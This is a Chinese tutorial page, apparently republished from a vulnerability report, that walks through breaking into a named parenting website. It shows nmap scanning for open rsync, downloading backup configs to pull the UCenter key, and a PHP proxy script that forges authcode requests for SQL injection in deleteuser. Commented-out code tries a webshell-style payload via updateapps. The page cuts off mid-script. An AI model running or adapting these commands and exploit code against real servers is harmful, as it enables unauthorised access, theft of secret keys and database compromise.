网站地图    收藏   

主页 > 后端 > 网站安全 >

父母网rsync信息泄露源代码导致安全问题 - 网站安

来源:自学PHP网    时间:2015-04-17 10:15 作者: 阅读:

[导读] 看到rsync的这个文章http://www.2cto.com/Article/201307/226273.html,随便找了一个试试手,还涉及UC_KEY利用,中转脚本等思想。www.fumu.comip 210.14.136.87按照文章给出的教程利用命令扫C段的rsync试下...

看到rsync的这个文章 http://www.2cto.com/Article/201307/226273.html ,
随便找了一个试试手,还涉及UC_KEY利用,中转脚本等思想。

www.fumu.com
 
ip 210.14.136.87
 
按照文章给出的教程利用命令扫C段的rsync试下
 
 
nmap -n --open -p 873 210.14.136.1-255
 
 
当我连接到93服务器时惊喜来了:
 
 
rsync 210.14.136.93::
 
主站就是用的phpcms,这里的phpcms模块应该就是备份的主站代码。
 
而bak目录貌似下备份了所有代码
 
查看一下:
 
 
rsync 210.14.136.93::bak
 
存在很多目录
 
找到bbs下的UC_KEY
 
 
rsync 210.14.136.93::bak/newbbs/config/
 
存在uc,找到data目录下的config.inc.php
 
同步下来看看内容:
 
 
rsync -vzrtopg --progress 210.14.136.93::bak/uc/data/config.inc.php /Users/test/fumubak 
rsync -vzrtopg --progress 210.14.136.93::bak/newbbs/config/config_ucenter.php /Users/test/fumubak/
 
打开本地fumubak目录里的config_ucenter.php文件,找到UC_KEY。
 
拿到UC_KEY可以干嘛,可以做好多,参见之前牛奶坦克发的漏洞 WooYun: 齐博cms整站系统(原PHP168)配置不当导致任意用户登陆 
 
利用UC_KEY里面的函数都可以直接调用了,看下uc.php里的函数:
 
 
rsync -vzrtopg --progress 210.14.136.93::bak/newbbs/api/uc.php /Users/test/fumubak/db
 
看到updateapps写文件,这是要写shell的漏洞啊,测了半天忽略了var_export函数,转义了单引号,无法截断。。。。。。
 
同时也有有synlogin可以设置cookie,已管理员的身份登录,但是dz进入后台需要再输入一遍密码无法进到后台。
 
最后发现deleteuser那里有个sql注入,同样利用http://drops.wooyun.org/tips/125思路。
 
把牛奶坦克那个脚本改一下做个代理方便注入:
 
<?php
error_reporting(0);
$host = "bbs.fumu.com";
//$doing = $argv[2];
$time = time()+10*3600;
$getshell = 0;
    // if ($doing == 'login') {
    //     // synlogin ,不过只登陆第一个admin帐户,如果uid1不是管理员,需要自己手工找下
    //     $code = 'time='.$time.'&uid=1&username=administrator&action=synlogin';
    // } elseif ($doing == 'shell' ) {
    //     $code = 'time='.$time.'&action=updateapps';
    // } elseif ($doing == 'temp' ) {
    //     $code = 'time='.$time.'&ids=203881) and 1=1&action=deleteuser';
    // } else {
    //     $doing = 'test';
    //     $code = 'time='.$time.'&action='.$doing;
    // }
$sqlin = $_GET['id'];
$sqlin=str_replace(" ","%20",$sqlin);
$sqlin=str_replace("=","%3D",$sqlin);
$code = 'time='.$time."&ids=$sqlin&action=deleteuser";
$uc_key = array(
    //'null' => '',
    'bbs' => '59XXXXXXXXXXXXXXXX9Ib',
    //'www'=>'cf5XXXXXXXXXXXXXXXXXXXqaY2y'
);
foreach ($uc_key as $key => $value) {
    $exp = 'api/uc.php?code='.urlencode(authcode($code, "ENCODE", $value));
    //echo "http://$host/$exp";
    $result = file_get_contents("http://$host/$exp");
    print_r($result);
    //$status = get_headers("http://$host/$exp");
   
    //if( $result !== 'Authracation has expiried' & strpos($status[0] , '200' ) > 0 ){
    //echo $result;
    //echo "[+] UC_KEY '$key' can use .\r\n";
    //echo "[*] EXP = $exp \r\n";
    /*
    if ( $getshell == 1 ) {  //Get shell
        echo "[+]Getshell...\r\n";
        $cmd = array(
        'one' =>
        '<?xml version="1.0" encoding="ISO-8859-1"?>
        <root>
         <item id="appid">123\');phpinfo();//</item>
        </root>'
        );

        foreach ($cmd as $key => $value) {
            $res = send($host,$exp,$value);
        }

        $getshell = 0;
    }
    print("[+]Try to
    http://$host/member/api/client/data/cache/apps.php
    or
    http://$host/uc_client/data/cache/apps.php\r\n");
    */

    /
                    
                    

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论